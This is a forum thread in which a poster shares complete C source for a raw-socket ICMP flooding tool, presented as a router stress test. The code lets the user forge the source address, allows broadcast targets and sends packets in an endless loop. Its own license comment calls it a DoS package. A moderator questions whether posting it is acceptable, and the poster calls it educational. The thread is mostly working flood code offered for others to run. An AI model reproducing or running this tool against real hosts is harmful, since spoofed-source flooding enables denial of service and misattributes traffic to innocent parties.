You are not logged in.
Pages: 1
While researching socket programming in C, I stumbled upon a piece of code designed to repetitively send icmp packets to a given target. The concept peaked my interest as a viable stress test for a home router, so i copied and compiled the code to see if and how it worked.... well, it DIDN'T work... The code didn't even compile, let alone run. Still interested and not wanting to let this go, I re-wrote the code. Made it better and made it work. I believe this is an interesting utility to say the least and I encourage anyone reading this to test it (ON YOUR OWN SYSTEMS/NETWORK) and/or give input on how to improve upon it. Depending on the feedback i get on here I might try to make a package build out of it.
Disclaimer!!: The following source code is intended specifically for educational purposes and systems testing only. I take no responsibility, and hold no liability for the misuse of this code.
My source code is listed below.
packetsoup.h
/**
* Packetsoup.h
*
* Prototype Functions for icmp_pingV2 project
*
* Written By DeadDingo
* All Rights Reserved 12.21.2013
*
* */
#ifndef PACK_SOUP_H_
#define PACK_SOUP_H_
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <arpa/inet.h>
typedef unsigned char u8;
typedef unsigned short int u16;
/**
* Description:
* Calculates the checksum on a packet to packet basis
*
* */
unsigned short in_cksum(unsigned short *ptr, int nbytes);
/**
* Description:
* Displays Usage Dialog
*
* */
void Usage( void );
#endif
packetsoup.c
/**
* Packsoup.c
*
*
* Written by DeadDingo
* All Rights Reserved 12.21.2013
*
* Note:
* in_cksum() function written by Silver Moon
*
* */
#include "packetsoup.h"
unsigned short in_cksum(unsigned short *ptr, int nbytes) {
register long sum;
u_short oddbyte;
register u_short answer;
sum = 0;
while(nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
if(nbytes == 1) {
oddbyte = 0;
*((u_char *) & oddbyte ) = *(u_char *) ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
}
void Usage( void ) {
puts("Usage: ");
puts(" -s <source address>");
puts(" -d <destination address>");
puts(" -p <payload size>");
printf("a.out -s <source address> -d <destination address> -p <payload size>\n");
exit(8);
}
main.c
/**
* icmp_pingV2 project
* ICMP packet utility
*
*
* Orriginally Written By Silver Moon
*
* Version 2 Written By DeadDingo
* Copyright 12.21.2013
*
*
* This file is part of the icmp_ping package
*
* The icmp_pingV2 package is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public Licence as published by
* the Free Software Foundation, either version 3 of the Licence, or
* (at your option) any later version.
*
* The icmp_pingV2 package is distrubuted in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABLILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public Licence for more details.
*
* You should have received a copy of the GNU General Public Licence
* along with the DoS package. If not, see <http://www.gnu.org/licences/>.
*
*
* ================================================
* Version 2 Channel Log:
*
* - Better Argument Parsing
* - Better Error Checking
* - Fixed Bad Structure Types (Now runs on BSD, Linux, and OSX)
* - Fixed Bad Member Variables
* - Added Usage Dialog
*
*
* */
#include "packetsoup.h"
int main ( int argc, char *argv[ ] ) {
unsigned long daddr;
unsigned long saddr;
int payload_size = 0, sent, sent_size, on, i;
/*
* Argument Parsing...*/
if(argc < 3) {
Usage();
}
for( i = 1; i < argc; i ++ ) {
if(strncmp(argv[i], "-s", 2) == 0) {
saddr = inet_addr(argv[i+1]);
}
if(strncmp(argv[i], "-d", 2) == 0) {
daddr = inet_addr(argv[i+1]);
}
if(strncmp(argv[i], "-p", 2) == 0) {
payload_size = atoi(argv[i+1]);
}
} //end for loop
//end arg parsing
//Get Raw Socket
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(sockfd < 0) {
perror("Could not create socket:");
return 0;
}
puts("Socket Is Live!");
//provide packet headers
if( setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (const char *)&on, sizeof(on)) == -1 ) {
perror("setsockopt:");
return 0;
}
//allow socket to send datagrams to broadcast addresses
if( setsockopt(sockfd, SOL_SOCKET, SO_BROADCAST, (const char *)&on, sizeof(on)) == -1 ) {
perror("setsockopt");
return 0;
}
//calc packet size
int packet_size = sizeof(struct ip) + sizeof(struct icmp) + payload_size;
char *packet = (char *)malloc(packet_size);
if(!packet) {
perror("Memory Error");
close(sockfd);
return 0;
}
//ip header
struct ip *iphdr = (struct ip *)packet;
struct icmp *icmphdr = (struct icmp *) (packet + sizeof(struct ip));
//zero the packet buffer
memset(packet, 0, packet_size);
//set member variables and whatnot
iphdr->ip_v = 4;
iphdr->ip_hl = 5;
iphdr->ip_tos = 0;
iphdr->ip_len = htons(packet_size);
iphdr->ip_id = rand();
iphdr->ip_off = 0;
iphdr->ip_ttl = 255;
iphdr->ip_p = IPPROTO_ICMP;
iphdr->ip_src.s_addr = saddr;
iphdr->ip_dst.s_addr = daddr;
//
icmphdr->icmp_type = ICMP_ECHO;
icmphdr->icmp_code = 0;
icmphdr->icmp_seq = rand();
icmphdr->icmp_id = rand();
icmphdr->icmp_cksum = 0;
struct sockaddr_in servaddr;
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = daddr;
memset(&servaddr.sin_zero, 0, sizeof(servaddr.sin_zero));
puts("sending to target...");
while(1) {
memset(packet + sizeof(struct ip) + sizeof(struct icmp), rand() % 255, payload_size);
//calculate icmp header checksum
icmphdr->icmp_cksum = 0;
icmphdr->icmp_cksum = in_cksum( (unsigned short *)icmphdr, sizeof(struct icmp) + payload_size );
if( ( sent_size = sendto( sockfd, packet, packet_size, 0, (struct sockaddr *) &servaddr, sizeof(servaddr) ) ) < 1 ) {
perror("Packet Send Failed");
break;
}
++sent;
printf("%d packets sent\r", sent);
fflush(stdout);
usleep(10000);
}
free(packet);
close(sockfd);
return 0;
}
Last edited by DeadDingo (2013-12-27 04:07:24)
In order to understand recursion, one must first understand recursion.
Offline
Why are we posting this?
I am concerned about whether improper use of this stepping over our line
Nothing is too wonderful to be true, if it be consistent with the laws of nature -- Michael Faraday
Sometimes it is the people no one can imagine anything of who do the things no one can imagine. -- Alan Turing
---
How to Ask Questions the Smart Way
Offline
I can see how this code can fall into that category, however I have posted it without malicious intension and it is meant to be nothing but an interesting utility. You are welcome to remove my post if you see fit.
In order to understand recursion, one must first understand recursion.
Offline
We will see what happens
Nothing is too wonderful to be true, if it be consistent with the laws of nature -- Michael Faraday
Sometimes it is the people no one can imagine anything of who do the things no one can imagine. -- Alan Turing
---
How to Ask Questions the Smart Way
Offline
Ok sounds good, like I said, it is meant to be a learning tool as some of the demo code available online does not accurately portray the proper ip structures needed for socket communication. I actually had to read through a bunch of C libraries to find the correct structs and member variables.
In order to understand recursion, one must first understand recursion.
Offline
Pages: 1